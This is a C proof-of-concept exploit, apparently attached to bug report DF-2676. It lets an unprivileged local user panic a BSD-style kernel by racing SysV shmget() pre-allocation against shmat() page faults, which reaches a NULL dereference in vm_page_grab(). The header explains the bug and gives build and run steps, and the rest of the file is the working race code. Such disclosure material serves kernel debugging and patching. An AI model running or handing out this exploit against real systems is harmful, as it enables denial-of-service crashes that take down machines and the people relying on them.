/*
 * DF-2676 proof-of-concept: NULL-pointer dereference in vm_page_grab()
 * (sys/vm/vm_page.c) reached from the SysV-shm pre-allocation loop in
 * shmget_allocate_segment() (sys/kern/sysv_shm.c:582).
 *
 * Bug: vm_page_grab() calls vm_page_lookup_busy_try(..., TRUE, &error);
 * when the page exists but is busy (PBUSY_LOCKED) and the caller did NOT
 * pass VM_ALLOC_RETRY, the code does:
 *
 *		m = NULL;
 *		break;
 *		...
 *	if (m->valid == 0) {		<-- NULL deref (vm_page.c:3882)
 *
 * The only in-tree caller without VM_ALLOC_RETRY is the SysV shm
 * pre-allocation loop (VM_ALLOC_SYSTEM | VM_ALLOC_NULL_OK | VM_ALLOC_ZERO),
 * which runs *after* the segment has been published (sysv_shm.c:553), so a
 * concurrent shmat() + page fault on the same pindex holds the page busy
 * (vm_fault busies the page from allocation until pmap_enter/wakeup) and
 * the pre-allocation's vm_page_grab() hits the error path -> kernel
 * panics reading (struct vm_page *)NULL->valid.
 *
 * Preconditions: kern.ipc.shm_use_phys >= 2 (root sets it; default is 1).
 * Trigger: unprivileged local user.
 *
 * Build:  cc -O2 -Wall -o shm_grab_race shm_grab_race.c
 * Run:    ./shm_grab_race            (as any user, after root set the sysctl)
 * Expect: kernel panic "Fatal trap 12: page fault while in kernel mode",
 *         faulting address = offsetof(struct vm_page, valid) (small value),
 *         proc = the shmget'ing process, call path vm_page_grab.
 */
#include <sys/types.h>
#include <sys/ipc.h>
#include <sys/shm.h>
#include <sys/signal.h>
#include <sys/stat.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>
#include <sys/wait.h>

#define TOKFILE		"/tmp/.df2676_tok"
#define SEGSZ		(32UL * 1024 * 1024)	/* 8192 pages per segment */
#define NFAULT		6			/* faulter processes */
#define ITERS		8192			/* shmget iterations */

static volatile sig_atomic_t stop;
static int stale_dist = 64;	/* RMID only keys this stale (0 = RMID now) */
static int iters = ITERS;

static key_t
makekey(int i)
{
	return ftok(TOKFILE, (int)('a' + (i % 26)));
}

static void
creator(void)
{
	int i, shmid, old;

	for (i = 0; i < iters && !stop; i++) {
		key_t key = makekey(i);

		shmid = shmget(key, SEGSZ, IPC_CREAT | IPC_EXCL | 0666);
		if (shmid < 0) {
			if (errno == EEXIST) {
				/*
				 * Only reclaim keys far in the past so we
				 * never IPC_RMID a segment a faulter may
				 * still hold attached (avoids the unrelated
				 * shmat-vs-RMID teardown race).
				 */
				if (stale_dist == 0 || i >= stale_dist) {
					old = shmget(key, 0, 0);
					if (old >= 0)
						shmctl(old, IPC_RMID, NULL);
				}
			}
			usleep(100);
			continue;
		}
		/*
		 * pre-allocation loop (and thus the race window) runs
		 * INSIDE the shmget above; give faulters time to swarm it.
		 */
		usleep(2000);

		/*
		 * Recycle commit space: RMID a key so stale that no faulter
		 * can still be attached (faulters trail the creator by only
		 * a couple of keys).  Avoids the unrelated shmat-vs-RMID
		 * teardown race while keeping shm_committed from filling up.
		 */
		if (stale_dist > 0 && i >= stale_dist) {
			key_t okey = makekey(i - stale_dist);
			old = shmget(okey, 0, 0);
			if (old >= 0)
				shmctl(old, IPC_RMID, NULL);
		}
	}
}

static void
faulter(int seed)
{
	int i, pass, shmid, tries;
	char *p;
	unsigned long off;

	for (i = 0; i < iters && !stop; i++) {
		key_t key = makekey(i);

		shmid = -1;
		for (tries = 0; tries < 4000; tries++) {
			shmid = shmget(key, 0, 0);
			if (shmid >= 0)
				break;
			if (i == 0 && tries < 100) {
				usleep(200);
				continue;
			}
			usleep(50);
		}
		if (shmid < 0)
			continue;

		/*
		 * Repeatedly map/scan the segment so our faults interleave
		 * with (and cross) the kernel's pre-allocation loop.
		 */
		for (pass = 0; pass < 3 && !stop; pass++) {
			p = shmat(shmid, NULL, 0);
			if (p == (void *)-1)
				break;
			for (off = ((unsigned long)seed * 4096) % SEGSZ;
			     off < SEGSZ; off += 4096)
				p[off] = (char)1;	/* write fault */
			shmdt(p);
		}
	}
}

int
main(int argc, char **argv)
{
	int i;
	pid_t pid;
	FILE *f;

	if (argc > 1)
		stale_dist = atoi(argv[1]);	/* 0 = aggressive RMID churn */
	if (argc > 2)
		iters = atoi(argv[2]);

	f = fopen(TOKFILE, "w");
	if (f) {
		fclose(f);
		chmod(TOKFILE, 0666);
	}

	printf("DF-2676: racing shmget() pre-allocation vs shmat() faults\n");
	printf("usage: %s [stale_dist=%d] [iters=%d]\n", argv[0],
	       stale_dist, iters);
	printf("run as unprivileged user after: sysctl kern.ipc.shm_use_phys=2\n");
	fflush(stdout);

	for (i = 0; i < NFAULT; i++) {
		pid = fork();
		if (pid == 0) {
			faulter(i + 1);
			_exit(0);
		}
	}
	creator();
	stop = 1;
	usleep(100000);
	while (waitpid(-1, NULL, WNOHANG) > 0)
		;
	printf("DF-2676: iteration complete, no panic this round\n");
	return 0;
}
